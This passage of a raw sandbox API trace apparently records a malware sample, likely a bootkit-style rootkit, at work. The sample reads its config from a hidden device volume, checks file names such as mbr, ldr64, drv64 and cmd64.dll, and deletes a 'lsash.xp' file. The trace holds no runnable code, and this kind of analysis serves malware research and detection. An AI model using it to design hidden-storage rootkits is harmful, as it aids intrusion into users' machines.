0xfffffa80034fca60 [0128.595] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfff20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.595] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.595] KeLeaveCriticalRegion () [0128.595] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.595] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.595] KeEnterCriticalRegion () [0128.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.595] ExFreePoolWithTag (P=0xfffffa8003bff700, Tag=0x0) [0128.595] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.595] KeLeaveCriticalRegion () [0128.595] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.595] ReleaseMutex (hMutex=0xf0) returned 1 [0128.595] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.595] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.595] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.595] KeEnterCriticalRegion () [0128.595] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.595] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.595] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.595] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.595] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.595] IdePortDispatch () returned 0x103 [0128.595] KeWaitForMutexObject () returned 0x0 [0128.596] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.596] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.596] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.596] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.596] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.596] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00770 [0128.596] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.596] KeLeaveCriticalRegion () [0128.596] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.596] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.596] KeEnterCriticalRegion () [0128.596] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.596] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.596] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.596] KeLeaveCriticalRegion () [0128.596] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.596] KeEnterCriticalRegion () [0128.596] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.596] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.596] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.596] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.596] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.596] IdePortDispatch () returned 0x103 [0128.596] KeWaitForMutexObject () returned 0x0 [0128.596] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.596] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.596] KeLeaveCriticalRegion () [0128.596] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.596] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.596] KeEnterCriticalRegion () [0128.596] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.596] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035d1000 [0128.596] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.596] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.596] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.597] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.597] IdePortDispatch () returned 0x103 [0128.597] KeWaitForMutexObject () returned 0x0 [0128.597] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.597] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.597] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.597] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.597] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.597] IdePortDispatch () returned 0x103 [0128.597] KeWaitForMutexObject () returned 0x0 [0128.597] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.597] KeLeaveCriticalRegion () [0128.597] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.598] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.598] KeEnterCriticalRegion () [0128.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.598] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.598] KeLeaveCriticalRegion () [0128.598] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.598] KeEnterCriticalRegion () [0128.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.598] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.598] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.598] KeLeaveCriticalRegion () [0128.598] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.598] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.598] KeEnterCriticalRegion () [0128.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.598] ExFreePoolWithTag (P=0xfffffa8003c00770, Tag=0x0) [0128.598] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.598] KeLeaveCriticalRegion () [0128.598] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.598] ReleaseMutex (hMutex=0xf0) returned 1 [0128.598] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.598] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.598] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.598] KeEnterCriticalRegion () [0128.598] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.598] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.598] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.598] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.598] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.598] IdePortDispatch () returned 0x103 [0128.598] KeWaitForMutexObject () returned 0x0 [0128.599] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.599] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.599] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.599] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.599] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.599] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003649970 [0128.599] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.599] KeLeaveCriticalRegion () [0128.599] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.599] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.599] KeEnterCriticalRegion () [0128.599] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.599] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.599] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.599] KeLeaveCriticalRegion () [0128.599] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.599] KeEnterCriticalRegion () [0128.599] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.599] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.599] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.599] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.599] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.599] IdePortDispatch () returned 0x103 [0128.599] KeWaitForMutexObject () returned 0x0 [0128.599] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.599] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.599] KeLeaveCriticalRegion () [0128.599] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.599] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.599] KeEnterCriticalRegion () [0128.599] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.599] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035d2000 [0128.599] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.599] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.599] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.599] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.599] IdePortDispatch () returned 0x103 [0128.600] KeWaitForMutexObject () returned 0x0 [0128.600] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.600] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.600] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.600] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.600] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.600] IdePortDispatch () returned 0x103 [0128.600] KeWaitForMutexObject () returned 0x0 [0128.600] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.600] KeLeaveCriticalRegion () [0128.600] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.600] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.600] KeEnterCriticalRegion () [0128.600] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.601] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.601] KeLeaveCriticalRegion () [0128.601] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.601] KeEnterCriticalRegion () [0128.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.601] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.601] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.601] KeLeaveCriticalRegion () [0128.601] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.601] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.601] KeEnterCriticalRegion () [0128.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.601] ExFreePoolWithTag (P=0xfffffa8003649970, Tag=0x0) [0128.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.601] KeLeaveCriticalRegion () [0128.601] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.601] ReleaseMutex (hMutex=0xf0) returned 1 [0128.601] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.601] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.601] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.601] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.601] KeEnterCriticalRegion () [0128.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.601] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.601] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.601] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.601] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.601] IdePortDispatch () returned 0x103 [0128.601] KeWaitForMutexObject () returned 0x0 [0128.601] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.601] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.601] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.601] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.601] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.601] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.602] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.602] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.602] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.602] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.602] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.602] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.602] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.602] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.602] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.602] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.602] KeLeaveCriticalRegion () [0128.602] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.602] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.602] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.602] KeEnterCriticalRegion () [0128.602] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.602] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.602] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.602] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.602] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.602] IdePortDispatch () returned 0x103 [0128.602] KeWaitForMutexObject () returned 0x0 [0128.602] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.602] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.602] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.602] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.602] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.602] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.602] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.602] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.602] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.602] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.602] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.602] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.602] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.602] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.602] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.602] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.602] KeLeaveCriticalRegion () [0128.602] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.602] ReleaseMutex (hMutex=0x100) returned 1 [0128.603] Sleep (dwMilliseconds=0x2bf20) [0128.609] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6fd9df50, dwHighDateTime=0x1d24fa4)) [0128.609] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.609] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.609] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.609] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.609] KeEnterCriticalRegion () [0128.609] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.609] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.609] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.609] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.609] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.609] IdePortDispatch () returned 0x103 [0128.609] KeWaitForMutexObject () returned 0x0 [0128.609] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.609] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.609] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.609] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.609] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.609] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00be0 [0128.609] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.609] KeLeaveCriticalRegion () [0128.609] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.610] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.610] KeEnterCriticalRegion () [0128.610] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.610] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.610] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.610] KeLeaveCriticalRegion () [0128.610] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.610] KeEnterCriticalRegion () [0128.610] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.610] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.610] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.610] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.610] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.610] IdePortDispatch () returned 0x103 [0128.610] KeWaitForMutexObject () returned 0x0 [0128.610] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.610] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) 